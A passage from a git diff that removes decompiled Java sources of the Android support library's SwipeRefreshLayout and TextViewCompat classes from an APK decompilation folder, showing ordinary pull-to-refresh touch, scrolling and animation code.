android.support.v4.view.NestedScrollingChild; -import android.support.v4.view.NestedScrollingChildHelper; -import android.support.v4.view.NestedScrollingParent; -import android.support.v4.view.NestedScrollingParentHelper; -import android.support.v4.view.ViewCompat; -import android.util.AttributeSet; -import android.util.DisplayMetrics; -import android.util.Log; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.ViewGroup; -import android.view.animation.Animation; -import android.view.animation.DecelerateInterpolator; -import android.view.animation.Transformation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class SwipeRefreshLayout extends ViewGroup implements NestedScrollingParent, NestedScrollingChild { - private static final int ALPHA_ANIMATION_DURATION = 300; - private static final int ANIMATE_TO_START_DURATION = 200; - private static final int ANIMATE_TO_TRIGGER_DURATION = 200; - private static final int CIRCLE_BG_LIGHT = -328966; - static final int CIRCLE_DIAMETER = 40; - static final int CIRCLE_DIAMETER_LARGE = 56; - private static final float DECELERATE_INTERPOLATION_FACTOR = 2.0f; - public static final int DEFAULT = 1; - private static final int DEFAULT_CIRCLE_TARGET = 64; - private static final float DRAG_RATE = 0.5f; - private static final int INVALID_POINTER = -1; - public static final int LARGE = 0; - private static final int[] LAYOUT_ATTRS = {16842766}; - private static final String LOG_TAG = "SwipeRefreshLayout"; - private static final int MAX_ALPHA = 255; - private static final float MAX_PROGRESS_ANGLE = 0.8f; - private static final int SCALE_DOWN_DURATION = 150; - private static final int STARTING_PROGRESS_ALPHA = 76; - private int mActivePointerId; - private Animation mAlphaMaxAnimation; - private Animation mAlphaStartAnimation; - private final Animation mAnimateToCorrectPosition; - private final Animation mAnimateToStartPosition; - private OnChildScrollUpCallback mChildScrollUpCallback; - private int mCircleDiameter; - CircleImageView mCircleView; - private int mCircleViewIndex; - int mCurrentTargetOffsetTop; - private final DecelerateInterpolator mDecelerateInterpolator; - protected int mFrom; - private float mInitialDownY; - private float mInitialMotionY; - private boolean mIsBeingDragged; - OnRefreshListener mListener; - private int mMediumAnimationDuration; - private boolean mNestedScrollInProgress; - private final NestedScrollingChildHelper mNestedScrollingChildHelper; - private final NestedScrollingParentHelper mNestedScrollingParentHelper; - boolean mNotify; - protected int mOriginalOffsetTop; - private final int[] mParentOffsetInWindow; - private final int[] mParentScrollConsumed; - MaterialProgressDrawable mProgress; - private Animation.AnimationListener mRefreshListener; - boolean mRefreshing; - private boolean mReturningToStart; - boolean mScale; - private Animation mScaleAnimation; - private Animation mScaleDownAnimation; - private Animation mScaleDownToStartAnimation; - float mSpinnerFinalOffset; - float mStartingScale; - private View mTarget; - private float mTotalDragDistance; - private float mTotalUnconsumed; - private int mTouchSlop; - boolean mUsingCustomStart; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnChildScrollUpCallback { - boolean canChildScrollUp(SwipeRefreshLayout swipeRefreshLayout, View view); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnRefreshListener { - void onRefresh(); - } - - private boolean isAlphaUsedForScale() { - return false; - } - - void reset() { - this.mCircleView.clearAnimation(); - this.mProgress.stop(); - this.mCircleView.setVisibility(8); - setColorViewAlpha(255); - if (this.mScale) { - setAnimationProgress(0.0f); - } else { - setTargetOffsetTopAndBottom(this.mOriginalOffsetTop - this.mCurrentTargetOffsetTop, true); - } - this.mCurrentTargetOffsetTop = this.mCircleView.getTop(); - } - - @Override // android.view.View - public void setEnabled(boolean z) { - super.setEnabled(z); - if (z) { - return; - } - reset(); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - super.onDetachedFromWindow(); - reset(); - } - - private void setColorViewAlpha(int i) { - this.mCircleView.getBackground().setAlpha(i); - this.mProgress.setAlpha(i); - } - - public void setProgressViewOffset(boolean z, int i, int i2) { - this.mScale = z; - this.mOriginalOffsetTop = i; - this.mSpinnerFinalOffset = i2; - this.mUsingCustomStart = true; - reset(); - this.mRefreshing = false; - } - - public void setProgressViewEndTarget(boolean z, int i) { - this.mSpinnerFinalOffset = i; - this.mScale = z; - this.mCircleView.invalidate(); - } - - public void setSize(int i) { - if (i == 0 || i == 1) { - DisplayMetrics displayMetrics = getResources().getDisplayMetrics(); - if (i == 0) { - this.mCircleDiameter = (int) (displayMetrics.density * 56.0f); - } else { - this.mCircleDiameter = (int) (displayMetrics.density * 40.0f); - } - this.mCircleView.setImageDrawable(null); - this.mProgress.updateSizes(i); - this.mCircleView.setImageDrawable(this.mProgress); - } - } - - public SwipeRefreshLayout(Context context) { - this(context, null); - } - - public SwipeRefreshLayout(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.mRefreshing = false; - this.mTotalDragDistance = -1.0f; - this.mParentScrollConsumed = new int[2]; - this.mParentOffsetInWindow = new int[2]; - this.mActivePointerId = -1; - this.mCircleViewIndex = -1; - this.mRefreshListener = new Animation.AnimationListener() { // from class: android.support.v4.widget.SwipeRefreshLayout.1 - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationRepeat(Animation animation) { - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationStart(Animation animation) { - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationEnd(Animation animation) { - if (SwipeRefreshLayout.this.mRefreshing) { - SwipeRefreshLayout.this.mProgress.setAlpha(255); - SwipeRefreshLayout.this.mProgress.start(); - if (SwipeRefreshLayout.this.mNotify && SwipeRefreshLayout.this.mListener != null) { - SwipeRefreshLayout.this.mListener.onRefresh(); - } - SwipeRefreshLayout swipeRefreshLayout = SwipeRefreshLayout.this; - swipeRefreshLayout.mCurrentTargetOffsetTop = swipeRefreshLayout.mCircleView.getTop(); - return; - } - SwipeRefreshLayout.this.reset(); - } - }; - this.mAnimateToCorrectPosition = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.6 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - float f2; - if (!SwipeRefreshLayout.this.mUsingCustomStart) { - f2 = SwipeRefreshLayout.this.mSpinnerFinalOffset - Math.abs(SwipeRefreshLayout.this.mOriginalOffsetTop); - } else { - f2 = SwipeRefreshLayout.this.mSpinnerFinalOffset; - } - SwipeRefreshLayout.this.setTargetOffsetTopAndBottom((SwipeRefreshLayout.this.mFrom + ((int) ((((int) f2) - SwipeRefreshLayout.this.mFrom) * f))) - SwipeRefreshLayout.this.mCircleView.getTop(), false); - SwipeRefreshLayout.this.mProgress.setArrowScale(1.0f - f); - } - }; - this.mAnimateToStartPosition = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.7 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - SwipeRefreshLayout.this.moveToStart(f); - } - }; - this.mTouchSlop = ViewConfiguration.get(context).getScaledTouchSlop(); - this.mMediumAnimationDuration = getResources().getInteger(17694721); - setWillNotDraw(false); - this.mDecelerateInterpolator = new DecelerateInterpolator(DECELERATE_INTERPOLATION_FACTOR); - DisplayMetrics displayMetrics = getResources().getDisplayMetrics(); - this.mCircleDiameter = (int) (displayMetrics.density * 40.0f); - createProgressView(); - ViewCompat.setChildrenDrawingOrderEnabled(this, true); - float f = displayMetrics.density * 64.0f; - this.mSpinnerFinalOffset = f; - this.mTotalDragDistance = f; - this.mNestedScrollingParentHelper = new NestedScrollingParentHelper(this); - this.mNestedScrollingChildHelper = new NestedScrollingChildHelper(this); - setNestedScrollingEnabled(true); - int i = -this.mCircleDiameter; - this.mCurrentTargetOffsetTop = i; - this.mOriginalOffsetTop = i; - moveToStart(1.0f); - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, LAYOUT_ATTRS); - setEnabled(obtainStyledAttributes.getBoolean(0, true)); - obtainStyledAttributes.recycle(); - } - - @Override // android.view.ViewGroup - protected int getChildDrawingOrder(int i, int i2) { - int i3 = this.mCircleViewIndex; - return i3 < 0 ? i2 : i2 == i + (-1) ? i3 : i2 >= i3 ? i2 + 1 : i2; - } - - private void createProgressView() { - this.mCircleView = new CircleImageView(getContext(), CIRCLE_BG_LIGHT); - MaterialProgressDrawable materialProgressDrawable = new MaterialProgressDrawable(getContext(), this); - this.mProgress = materialProgressDrawable; - materialProgressDrawable.setBackgroundColor(CIRCLE_BG_LIGHT); - this.mCircleView.setImageDrawable(this.mProgress); - this.mCircleView.setVisibility(8); - addView(this.mCircleView); - } - - public void setOnRefreshListener(OnRefreshListener onRefreshListener) { - this.mListener = onRefreshListener; - } - - public void setRefreshing(boolean z) { - float f; - if (z && this.mRefreshing != z) { - this.mRefreshing = z; - if (!this.mUsingCustomStart) { - f = this.mSpinnerFinalOffset + this.mOriginalOffsetTop; - } else { - f = this.mSpinnerFinalOffset; - } - setTargetOffsetTopAndBottom(((int) f) - this.mCurrentTargetOffsetTop, true); - this.mNotify = false; - startScaleUpAnimation(this.mRefreshListener); - return; - } - setRefreshing(z, false); - } - - private void startScaleUpAnimation(Animation.AnimationListener animationListener) { - this.mCircleView.setVisibility(0); - this.mProgress.setAlpha(255); - Animation animation = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.2 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - SwipeRefreshLayout.this.setAnimationProgress(f); - } - }; - this.mScaleAnimation = animation; - animation.setDuration(this.mMediumAnimationDuration); - if (animationListener != null) { - this.mCircleView.setAnimationListener(animationListener); - } - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(this.mScaleAnimation); - } - - void setAnimationProgress(float f) { - if (isAlphaUsedForScale()) { - setColorViewAlpha((int) (f * 255.0f)); - return; - } - ViewCompat.setScaleX(this.mCircleView, f); - ViewCompat.setScaleY(this.mCircleView, f); - } - - private void setRefreshing(boolean z, boolean z2) { - if (this.mRefreshing != z) { - this.mNotify = z2; - ensureTarget(); - this.mRefreshing = z; - if (z) { - animateOffsetToCorrectPosition(this.mCurrentTargetOffsetTop, this.mRefreshListener); - } else { - startScaleDownAnimation(this.mRefreshListener); - } - } - } - - void startScaleDownAnimation(Animation.AnimationListener animationListener) { - Animation animation = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.3 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - SwipeRefreshLayout.this.setAnimationProgress(1.0f - f); - } - }; - this.mScaleDownAnimation = animation; - animation.setDuration(150L); - this.mCircleView.setAnimationListener(animationListener); - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(this.mScaleDownAnimation); - } - - private void startProgressAlphaStartAnimation() { - this.mAlphaStartAnimation = startAlphaAnimation(this.mProgress.getAlpha(), STARTING_PROGRESS_ALPHA); - } - - private void startProgressAlphaMaxAnimation() { - this.mAlphaMaxAnimation = startAlphaAnimation(this.mProgress.getAlpha(), 255); - } - - private Animation startAlphaAnimation(final int i, final int i2) { - if (this.mScale && isAlphaUsedForScale()) { - return null; - } - Animation animation = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.4 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - MaterialProgressDrawable materialProgressDrawable = SwipeRefreshLayout.this.mProgress; - int i3 = i; - materialProgressDrawable.setAlpha((int) (i3 + ((i2 - i3) * f))); - } - }; - animation.setDuration(300L); - this.mCircleView.setAnimationListener(null); - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(animation); - return animation; - } - - @Deprecated - public void setProgressBackgroundColor(int i) { - setProgressBackgroundColorSchemeResource(i); - } - - public void setProgressBackgroundColorSchemeResource(int i) { - setProgressBackgroundColorSchemeColor(getResources().getColor(i)); - } - - public void setProgressBackgroundColorSchemeColor(int i) { - this.mCircleView.setBackgroundColor(i); - this.mProgress.setBackgroundColor(i); - } - - @Deprecated - public void setColorScheme(int... iArr) { - setColorSchemeResources(iArr); - } - - public void setColorSchemeResources(int... iArr) { - Resources resources = getResources(); - int[] iArr2 = new int[iArr.length]; - for (int i = 0; i < iArr.length; i++) { - iArr2[i] = resources.getColor(iArr[i]); - } - setColorSchemeColors(iArr2); - } - - public void setColorSchemeColors(int... iArr) { - ensureTarget(); - this.mProgress.setColorSchemeColors(iArr); - } - - public boolean isRefreshing() { - return this.mRefreshing; - } - - private void ensureTarget() { - if (this.mTarget == null) { - for (int i = 0; i < getChildCount(); i++) { - View childAt = getChildAt(i); - if (!childAt.equals(this.mCircleView)) { - this.mTarget = childAt; - return; - } - } - } - } - - public void setDistanceToTriggerSync(int i) { - this.mTotalDragDistance = i; - } - - @Override // android.view.ViewGroup, android.view.View - protected void onLayout(boolean z, int i, int i2, int i3, int i4) { - int measuredWidth = getMeasuredWidth(); - int measuredHeight = getMeasuredHeight(); - if (getChildCount() == 0) { - return; - } - if (this.mTarget == null) { - ensureTarget(); - } - View view = this.mTarget; - if (view == null) { - return; - } - int paddingLeft = getPaddingLeft(); - int paddingTop = getPaddingTop(); - view.layout(paddingLeft, paddingTop, ((measuredWidth - getPaddingLeft()) - getPaddingRight()) + paddingLeft, ((measuredHeight - getPaddingTop()) - getPaddingBottom()) + paddingTop); - int measuredWidth2 = this.mCircleView.getMeasuredWidth(); - int measuredHeight2 = this.mCircleView.getMeasuredHeight(); - int i5 = measuredWidth / 2; - int i6 = measuredWidth2 / 2; - int i7 = this.mCurrentTargetOffsetTop; - this.mCircleView.layout(i5 - i6, i7, i5 + i6, measuredHeight2 + i7); - } - - @Override // android.view.View - public void onMeasure(int i, int i2) { - super.onMeasure(i, i2); - if (this.mTarget == null) { - ensureTarget(); - } - View view = this.mTarget; - if (view == null) { - return; - } - view.measure(View.MeasureSpec.makeMeasureSpec((getMeasuredWidth() - getPaddingLeft()) - getPaddingRight(), 1073741824), View.MeasureSpec.makeMeasureSpec((getMeasuredHeight() - getPaddingTop()) - getPaddingBottom(), 1073741824)); - this.mCircleView.measure(View.MeasureSpec.makeMeasureSpec(this.mCircleDiameter, 1073741824), View.MeasureSpec.makeMeasureSpec(this.mCircleDiameter, 1073741824)); - this.mCircleViewIndex = -1; - for (int i3 = 0; i3 < getChildCount(); i3++) { - if (getChildAt(i3) == this.mCircleView) { - this.mCircleViewIndex = i3; - return; - } - } - } - - public int getProgressCircleDiameter() { - return this.mCircleDiameter; - } - - public boolean canChildScrollUp() { - OnChildScrollUpCallback onChildScrollUpCallback = this.mChildScrollUpCallback; - if (onChildScrollUpCallback != null) { - return onChildScrollUpCallback.canChildScrollUp(this, this.mTarget); - } - return ViewCompat.canScrollVertically(this.mTarget, -1); - } - - public void setOnChildScrollUpCallback(OnChildScrollUpCallback onChildScrollUpCallback) { - this.mChildScrollUpCallback = onChildScrollUpCallback; - } - - @Override // android.view.ViewGroup - public boolean onInterceptTouchEvent(MotionEvent motionEvent) { - ensureTarget(); - int actionMasked = MotionEventCompat.getActionMasked(motionEvent); - if (this.mReturningToStart && actionMasked == 0) { - this.mReturningToStart = false; - } - if (!isEnabled() || this.mReturningToStart || canChildScrollUp() || this.mRefreshing || this.mNestedScrollInProgress) { - return false; - } - if (actionMasked == 0) { - setTargetOffsetTopAndBottom(this.mOriginalOffsetTop - this.mCircleView.getTop(), true); - int pointerId = motionEvent.getPointerId(0); - this.mActivePointerId = pointerId; - this.mIsBeingDragged = false; - int findPointerIndex = motionEvent.findPointerIndex(pointerId); - if (findPointerIndex < 0) { - return false; - } - this.mInitialDownY = motionEvent.getY(findPointerIndex); - } else { - if (actionMasked != 1) { - if (actionMasked == 2) { - int i = this.mActivePointerId; - if (i == -1) { - Log.e(LOG_TAG, "Got ACTION_MOVE event but don't have an active pointer id."); - return false; - } - int findPointerIndex2 = motionEvent.findPointerIndex(i); - if (findPointerIndex2 < 0) { - return false; - } - startDragging(motionEvent.getY(findPointerIndex2)); - } else if (actionMasked != 3) { - if (actionMasked == 6) { - onSecondaryPointerUp(motionEvent); - } - } - } - this.mIsBeingDragged = false; - this.mActivePointerId = -1; - } - return this.mIsBeingDragged; - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public void requestDisallowInterceptTouchEvent(boolean z) { - View view = this.mTarget; - if (view == null || ViewCompat.isNestedScrollingEnabled(view)) { - super.requestDisallowInterceptTouchEvent(z); - } - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onStartNestedScroll(View view, View view2, int i) { - return (!isEnabled() || this.mReturningToStart || this.mRefreshing || (i & 2) == 0) ? false : true; - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedScrollAccepted(View view, View view2, int i) { - this.mNestedScrollingParentHelper.onNestedScrollAccepted(view, view2, i); - startNestedScroll(i & 2); - this.mTotalUnconsumed = 0.0f; - this.mNestedScrollInProgress = true; - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedPreScroll(View view, int i, int i2, int[] iArr) { - if (i2 > 0) { - float f = this.mTotalUnconsumed; - if (f > 0.0f) { - float f2 = i2; - if (f2 > f) { - iArr[1] = i2 - ((int) f); - this.mTotalUnconsumed = 0.0f; - } else { - this.mTotalUnconsumed = f - f2; - iArr[1] = i2; - } - moveSpinner(this.mTotalUnconsumed); - } - } - if (this.mUsingCustomStart && i2 > 0 && this.mTotalUnconsumed == 0.0f && Math.abs(i2 - iArr[1]) > 0) { - this.mCircleView.setVisibility(8); - } - int[] iArr2 = this.mParentScrollConsumed; - if (dispatchNestedPreScroll(i - iArr[0], i2 - iArr[1], iArr2, null)) { - iArr[0] = iArr[0] + iArr2[0]; - iArr[1] = iArr[1] + iArr2[1]; - } - } - - @Override // android.view.ViewGroup, android.support.v4.view.NestedScrollingParent - public int getNestedScrollAxes() { - return this.mNestedScrollingParentHelper.getNestedScrollAxes(); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onStopNestedScroll(View view) { - this.mNestedScrollingParentHelper.onStopNestedScroll(view); - this.mNestedScrollInProgress = false; - float f = this.mTotalUnconsumed; - if (f > 0.0f) { - finishSpinner(f); - this.mTotalUnconsumed = 0.0f; - } - stopNestedScroll(); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedScroll(View view, int i, int i2, int i3, int i4) { - dispatchNestedScroll(i, i2, i3, i4, this.mParentOffsetInWindow); - int i5 = i4 + this.mParentOffsetInWindow[1]; - if (i5 >= 0 || canChildScrollUp()) { - return; - } - float abs = this.mTotalUnconsumed + Math.abs(i5); - this.mTotalUnconsumed = abs; - moveSpinner(abs); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public void setNestedScrollingEnabled(boolean z) { - this.mNestedScrollingChildHelper.setNestedScrollingEnabled(z); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean isNestedScrollingEnabled() { - return this.mNestedScrollingChildHelper.isNestedScrollingEnabled(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean startNestedScroll(int i) { - return this.mNestedScrollingChildHelper.startNestedScroll(i); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public void stopNestedScroll() { - this.mNestedScrollingChildHelper.stopNestedScroll(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean hasNestedScrollingParent() { - return this.mNestedScrollingChildHelper.hasNestedScrollingParent(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedScroll(int i, int i2, int i3, int i4, int[] iArr) { - return this.mNestedScrollingChildHelper.dispatchNestedScroll(i, i2, i3, i4, iArr); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedPreScroll(int i, int i2, int[] iArr, int[] iArr2) { - return this.mNestedScrollingChildHelper.dispatchNestedPreScroll(i, i2, iArr, iArr2); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onNestedPreFling(View view, float f, float f2) { - return dispatchNestedPreFling(f, f2); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onNestedFling(View view, float f, float f2, boolean z) { - return dispatchNestedFling(f, f2, z); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedFling(float f, float f2, boolean z) { - return this.mNestedScrollingChildHelper.dispatchNestedFling(f, f2, z); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedPreFling(float f, float f2) { - return this.mNestedScrollingChildHelper.dispatchNestedPreFling(f, f2); - } - - private boolean isAnimationRunning(Animation animation) { - return (animation == null || !animation.hasStarted() || animation.hasEnded()) ? false : true; - } - - private void moveSpinner(float f) { - this.mProgress.showArrow(true); - float min = Math.min(1.0f, Math.abs(f / this.mTotalDragDistance)); - float max = (((float) Math.max(min - 0.4d, 0.0d)) * 5.0f) / 3.0f; - float abs = Math.abs(f) - this.mTotalDragDistance; - float f2 = this.mUsingCustomStart ? this.mSpinnerFinalOffset - this.mOriginalOffsetTop : this.mSpinnerFinalOffset; - double max2 = Math.max(0.0f, Math.min(abs, f2 * DECELERATE_INTERPOLATION_FACTOR) / f2) / 4.0f; - float pow = ((float) (max2 - Math.pow(max2, 2.0d))) * DECELERATE_INTERPOLATION_FACTOR; - int i = this.mOriginalOffsetTop + ((int) ((f2 * min) + (f2 * pow * DECELERATE_INTERPOLATION_FACTOR))); - if (this.mCircleView.getVisibility() != 0) { - this.mCircleView.setVisibility(0); - } - if (!this.mScale) { - ViewCompat.setScaleX(this.mCircleView, 1.0f); - ViewCompat.setScaleY(this.mCircleView, 1.0f); - } - if (this.mScale) { - setAnimationProgress(Math.min(1.0f, f / this.mTotalDragDistance)); - } - if (f < this.mTotalDragDistance) { - if (this.mProgress.getAlpha() > STARTING_PROGRESS_ALPHA && !isAnimationRunning(this.mAlphaStartAnimation)) { - startProgressAlphaStartAnimation(); - } - } else if (this.mProgress.getAlpha() < 255 && !isAnimationRunning(this.mAlphaMaxAnimation)) { - startProgressAlphaMaxAnimation(); - } - this.mProgress.setStartEndTrim(0.0f, Math.min((float) MAX_PROGRESS_ANGLE, max * MAX_PROGRESS_ANGLE)); - this.mProgress.setArrowScale(Math.min(1.0f, max)); - this.mProgress.setProgressRotation((((max * 0.4f) - 0.25f) + (pow * DECELERATE_INTERPOLATION_FACTOR)) * DRAG_RATE); - setTargetOffsetTopAndBottom(i - this.mCurrentTargetOffsetTop, true); - } - - private void finishSpinner(float f) { - if (f > this.mTotalDragDistance) { - setRefreshing(true, true); - return; - } - this.mRefreshing = false; - this.mProgress.setStartEndTrim(0.0f, 0.0f); - animateOffsetToStartPosition(this.mCurrentTargetOffsetTop, !this.mScale ? new Animation.AnimationListener() { // from class: android.support.v4.widget.SwipeRefreshLayout.5 - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationRepeat(Animation animation) { - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationStart(Animation animation) { - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationEnd(Animation animation) { - if (SwipeRefreshLayout.this.mScale) { - return; - } - SwipeRefreshLayout.this.startScaleDownAnimation(null); - } - } : null); - this.mProgress.showArrow(false); - } - - @Override // android.view.View - public boolean onTouchEvent(MotionEvent motionEvent) { - int actionMasked = MotionEventCompat.getActionMasked(motionEvent); - if (this.mReturningToStart && actionMasked == 0) { - this.mReturningToStart = false; - } - if (!isEnabled() || this.mReturningToStart || canChildScrollUp() || this.mRefreshing || this.mNestedScrollInProgress) { - return false; - } - if (actionMasked == 0) { - this.mActivePointerId = motionEvent.getPointerId(0); - this.mIsBeingDragged = false; - } else if (actionMasked == 1) { - int findPointerIndex = motionEvent.findPointerIndex(this.mActivePointerId); - if (findPointerIndex < 0) { - Log.e(LOG_TAG, "Got ACTION_UP event but don't have an active pointer id."); - return false; - } - if (this.mIsBeingDragged) { - float y = (motionEvent.getY(findPointerIndex) - this.mInitialMotionY) * DRAG_RATE; - this.mIsBeingDragged = false; - finishSpinner(y); - } - this.mActivePointerId = -1; - return false; - } else if (actionMasked == 2) { - int findPointerIndex2 = motionEvent.findPointerIndex(this.mActivePointerId); - if (findPointerIndex2 < 0) { - Log.e(LOG_TAG, "Got ACTION_MOVE event but have an invalid active pointer id."); - return false; - } - float y2 = motionEvent.getY(findPointerIndex2); - startDragging(y2); - if (this.mIsBeingDragged) { - float f = (y2 - this.mInitialMotionY) * DRAG_RATE; - if (f <= 0.0f) { - return false; - } - moveSpinner(f); - } - } else if (actionMasked == 3) { - return false; - } else { - if (actionMasked == 5) { - int actionIndex = MotionEventCompat.getActionIndex(motionEvent); - if (actionIndex < 0) { - Log.e(LOG_TAG, "Got ACTION_POINTER_DOWN event but have an invalid action index."); - return false; - } - this.mActivePointerId = motionEvent.getPointerId(actionIndex); - } else if (actionMasked == 6) { - onSecondaryPointerUp(motionEvent); - } - } - return true; - } - - private void startDragging(float f) { - float f2 = this.mInitialDownY; - int i = this.mTouchSlop; - if (f - f2 <= i || this.mIsBeingDragged) { - return; - } - this.mInitialMotionY = f2 + i; - this.mIsBeingDragged = true; - this.mProgress.setAlpha(STARTING_PROGRESS_ALPHA); - } - - private void animateOffsetToCorrectPosition(int i, Animation.AnimationListener animationListener) { - this.mFrom = i; - this.mAnimateToCorrectPosition.reset(); - this.mAnimateToCorrectPosition.setDuration(200L); - this.mAnimateToCorrectPosition.setInterpolator(this.mDecelerateInterpolator); - if (animationListener != null) { - this.mCircleView.setAnimationListener(animationListener); - } - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(this.mAnimateToCorrectPosition); - } - - private void animateOffsetToStartPosition(int i, Animation.AnimationListener animationListener) { - if (this.mScale) { - startScaleDownReturnToStartAnimation(i, animationListener); - return; - } - this.mFrom = i; - this.mAnimateToStartPosition.reset(); - this.mAnimateToStartPosition.setDuration(200L); - this.mAnimateToStartPosition.setInterpolator(this.mDecelerateInterpolator); - if (animationListener != null) { - this.mCircleView.setAnimationListener(animationListener); - } - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(this.mAnimateToStartPosition); - } - - void moveToStart(float f) { - int i = this.mFrom; - setTargetOffsetTopAndBottom((i + ((int) ((this.mOriginalOffsetTop - i) * f))) - this.mCircleView.getTop(), false); - } - - private void startScaleDownReturnToStartAnimation(int i, Animation.AnimationListener animationListener) { - this.mFrom = i; - if (isAlphaUsedForScale()) { - this.mStartingScale = this.mProgress.getAlpha(); - } else { - this.mStartingScale = ViewCompat.getScaleX(this.mCircleView); - } - Animation animation = new Animation() { // from class: android.support.v4.widget.SwipeRefreshLayout.8 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - SwipeRefreshLayout.this.setAnimationProgress(SwipeRefreshLayout.this.mStartingScale + ((-SwipeRefreshLayout.this.mStartingScale) * f)); - SwipeRefreshLayout.this.moveToStart(f); - } - }; - this.mScaleDownToStartAnimation = animation; - animation.setDuration(150L); - if (animationListener != null) { - this.mCircleView.setAnimationListener(animationListener); - } - this.mCircleView.clearAnimation(); - this.mCircleView.startAnimation(this.mScaleDownToStartAnimation); - } - - void setTargetOffsetTopAndBottom(int i, boolean z) { - this.mCircleView.bringToFront(); - ViewCompat.offsetTopAndBottom(this.mCircleView, i); - this.mCurrentTargetOffsetTop = this.mCircleView.getTop(); - } - - private void onSecondaryPointerUp(MotionEvent motionEvent) { - int actionIndex = MotionEventCompat.getActionIndex(motionEvent); - if (motionEvent.getPointerId(actionIndex) == this.mActivePointerId) { - this.mActivePointerId = motionEvent.getPointerId(actionIndex == 0 ? 1 : 0); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompat.java deleted file mode 100644 index faf48a1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompat.java +++ /dev/null @@ -1,171 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.drawable.Drawable; -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TextViewCompat { - static final TextViewCompatImpl IMPL = new Api23TextViewCompatImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface TextViewCompatImpl { - Drawable[] getCompoundDrawablesRelative(TextView textView); - - int getMaxLines(TextView textView); - - int getMinLines(TextView textView); - - void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4); - - void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4); - - void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4); - - void setTextAppearance(TextView textView, int i); - } - - private TextViewCompat() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseTextViewCompatImpl implements TextViewCompatImpl { - BaseTextViewCompatImpl() { - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - textView.setCompoundDrawables(drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - textView.setCompoundDrawablesWithIntrinsicBounds(drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - textView.setCompoundDrawablesWithIntrinsicBounds(i, i2, i3, i4); - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public int getMaxLines(TextView textView) { - return TextViewCompatGingerbread.getMaxLines(textView); - } - - @Override // 